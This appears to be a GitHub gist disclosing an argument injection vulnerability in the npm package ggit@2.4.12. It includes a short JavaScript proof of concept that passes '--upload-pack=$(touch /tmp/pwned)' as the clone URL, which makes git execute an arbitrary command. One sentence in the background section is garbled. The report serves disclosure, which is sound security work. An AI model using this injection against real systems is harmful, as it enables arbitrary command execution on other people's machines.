Skip to content

Instantly share code, notes, and snippets.

@lirantal
Created April 21, 2023 12:35
Show Gist options
  • Select an option

  • Save lirantal/80c6d59ac1b682a32bc9d2ff92044bb9 to your computer and use it in GitHub Desktop.

Select an option

Save lirantal/80c6d59ac1b682a32bc9d2ff92044bb9 to your computer and use it in GitHub Desktop.
Argument Injection vulnerability in ggit@2.4.12

Argument Injection vulnerability in ggit@2.4.12

ggit describes itself as:

Local promise-returning git command wrappers

Resources:

Background on exploitation

I'm reporting an Argument Injection vulnerability in ggit npm package.

This vulnerability manifests with the library's clone() API, which allows specifying the remote URL to clone and the file on disk to clone to. However, the library does not sanitize for user input or validate a given URL scheme, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.

Thus, allowing users to exploit an argument injection vulnerability in Git due to the --upload-pack command-line option that results with executing arbirary commands. (outPath) to clone it to then the vulnerability applies.

Exploit

  1. Install ggit@2.4.12 or earlier
  2. Establish the following POC:
const clone = require("ggit").cloneRepo;
clone({
  url: "--upload-pack=$(touch /tmp/pwned)",
  folder: "/tmp/dbd",
}).then(function () {
  console.log("cloned repo to destination folder");
});
  1. Observe new file created on disk at /tmp/pwned

Author

Liran Tal

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment